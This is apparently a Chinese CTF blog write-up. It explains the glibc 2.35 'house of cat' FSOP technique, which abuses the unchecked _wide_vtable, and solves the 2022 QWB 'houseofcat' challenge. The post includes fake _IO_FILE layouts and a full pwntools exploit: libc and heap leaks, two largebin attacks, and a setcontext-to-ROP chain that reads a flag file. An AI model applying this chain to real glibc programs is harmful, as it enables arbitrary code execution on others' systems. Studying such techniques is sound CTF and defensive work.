A2ur2的梦想小屋

我许下的愿望该向谁去说明

0%

努力成长的pwn弟系列【4】-豪撕欧符卡特(house of cat

直接快进到2.35,毕业有望了(逃

house of cat是由catfly师傅提出的,通杀2.35及其以下的牛掰链子,利用简单,只需要一个largebin attack,但是杀伤力巨大,可以执行任意函数。这个链子也被catfly师傅出题成为了今年qwb的pwn题。这链子里主要的思路与开赛前一天,roderick师傅发表的house of apple2相似,所以这里就以我的例题为标题,讲一讲如何利用 _wide_vtable 来劫持程序流。

一、🐱和🍎的原理

通过拜读roderick师傅和catfly师傅的文章,我们可以开始分析🐱和🍎的原理。

1、vtable check

首先在之前学习FSOP中我们学习到了伪造IO的vtable表,程序调用vtable对应偏移处的函数时,劫持程序流。但是在glibc-2.24之后,加入了一个 IO_validate_vtable 函数。

在stderr,stdout,stdin这三个IO结构体使用的是 IO_file_jumps 这个虚函数表

_IO_file_overflow调用为例,我们可以看到其部分宏定义如下:

1
2
3
4
5
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

其中调用的IO_validate_vtable会check此时的vtable是否在合法区域。

这意味着我们不能直接修改vtable为任意可控地址,但是却可以在vtable允许的范围内反复跳跃。所以vtable里的函数我们还是能随便调用。

在2.27之前,我们可以使用 _IO_str_overflow 与 _IO_str_finish中的函数指针,但是在这之后,其函数指针被替换成了malloc和free,利用失效。

2、 _wide_vtable

_wide_vtable 可谓是🐱和🍎的重中之重。

首先我们看一下这个wide vtable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

这里面同样存在一个vtable表,并且他的调用和我们所了解过的vtable一样,通过宏调用,根据vtable的地址+偏移索引到要调用的函数。

但是!和上面的又有那么一点关键不同

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

它的宏调用里没有check vtable的合法性

这下可以找回2.23初恋版本的感觉了。只要我们伪造_IO_wide_data,进而控制wide 的vtable表,就可以调用任意函数。

以上就是🍎2的利用,🐱的利用也大致利用了上述思想,劫持了wide vtable最后调用我们想要的函数。关键就是这个的宏调用不check。

所以我们可以理解🐱是🍎的一条具体链子。

3、🐱

这题house of cat我是利用🐱的链子来打orw,这里就先讲一下🐱的IO构造有哪些要点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#rdx
fake_IO_FILE +=p64(call_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain->next IO FILE
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data (rax1_addr in cat)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10 or other IO_wxx
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

首先这里的rax我们需要结合汇编来理解

我的图图:

vzenRx.png

我们可以看到**mov rax, qword ptr [rdi + 0xa0]**这里会将rax赋值成**rdi + 0xa0**这里是rax1,在这之后会将**rax+0x20**的值赋值给rdx,所以我们可以控制rdx,然后 **mov rax, qword ptr [rax + 0xe0]**再一次赋值raxrax2,最后call了这个*rax2*+0x18的地址。

构造好的IO结构大致如下

vzeeiR.png

4、🍎

🍎2的IO构造大致如上,只是将就不多赘述。值得一提的是,🍎1可以充当打一次largebin attack,可以利用🍎1配合house of emma来打这题。🍎3还没康,留个坑(x

二、例题-2022强网杯初赛-house of cat

一题套了IOT交互界面的堆题(有一说一就看上去炫酷了

1、程序分析:

2.35开了沙箱

在程序每次进入菜单的时候都会进行一次对tcache_bins的赋值, 禁了打tcache bins进行任意地址申请的方法

xS96yj.png

存在UAF,但只能申请largebin

edit函数只能用两次

2、利用方法:

这题有三种方法

1、走🍎2,直接orw

2、🍎1结合house of emma

3、只用house of emma(需要堆风水一下)

我是用🍎2,打两次largebin attack,一次打stderr,一次打top size触发kiwi走IO。

3、exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
p=process('./houseofcat')
libc=ELF('./libc.so.6')
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'

def check():
gdb.attach(p)
raw_input()
def add(id,size,data):
p.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
p.sendlineafter('plz input your cat choice:\n',str(1))
p.sendlineafter('plz input your cat idx:\n',str(id))
p.sendlineafter('plz input your cat size:\n',str(size))
p.sendafter('plz input your content:\n',data)
def free(id):
p.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
p.sendlineafter('plz input your cat choice:\n', str(2))
p.sendlineafter('plz input your cat idx:\n',str(id))
def show(id):
p.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
p.sendlineafter('plz input your cat choice:\n', str(3))
p.sendlineafter('plz input your cat idx:\n',str(id))
def edit(id,data):
p.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
p.sendlineafter('plz input your cat choice:\n', str(4))
p.sendlineafter('plz input your cat idx:\n',str(id))
p.sendafter('plz input your content:\n', data)
def add_2(id,size,data):
p.sendafter('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
p.sendlineafter('plz input your cat choice:\n',str(1))
p.sendlineafter('plz input your cat idx:\n',str(id))
p.sendlineafter('plz input your cat size:\n',str(size))
p.sendafter('mew mew mew~~~~~~','LOGIN | r00t QWBQWXF admin')
add(0,0x420,'a2ur2')

add(1,0x430,'a2ur2')

add(2,0x418,'a2ur2')

free(0)
add(3,0x440,'a2ur2')


show(0)
libc=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x21a0d0
print(hex(libc))
p.recv(10)
heap=u64(p.recv(6).ljust(8,'\x00'))-0x290
print(hex(heap))

pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f497
ret=libc+0x0000000000029cd6
pop_rax=libc+0x0000000000045eb0
stderr=libc+0x21a860
setcontext=libc+0x53a30
close=libc+0x115100
read=libc+0x114980
write=libc+0x114a20
syscall=libc+0x0000000000091396
flagaddr=heap+0x1380
ROP=p64(pop_rdi)+p64(0)+p64(close)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(pop_rax)
ROP+=p64(2)+p64(syscall)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(write)

fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heap+0xc18-0x68)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0 ) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heap+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap+0xb30+0x10)+p64(flagaddr)+p64(0)+p64(0)*5+p64(heap+0x2490)+p64(ret)
free(2)
add(6,0x418,fake_IO_FILE)
free(6)
edit(0,p64(libc+0x21a0d0)*2+p64(heap+0x290)+p64(stderr-0x20))
add(5,0x430,'./flag\x00')#largebin attack->stderr

add(7,0x440,'./flag\x00')#chunk1 large


add(8,0x430,'./flag\x00')

add(9,0x438,'./flag\x00')
top=p64(libc+0x219ce0-0x20)

free(7)
add(10,0x460,ROP)
free(9)

edit(7,p64(libc+0x21a0e0)*2+p64(heap+0x17b0)+top)
check()
add_2(4,0x460,'a')







p.interactive()

下班!

vznwVg.png

pwn太有意思了qwq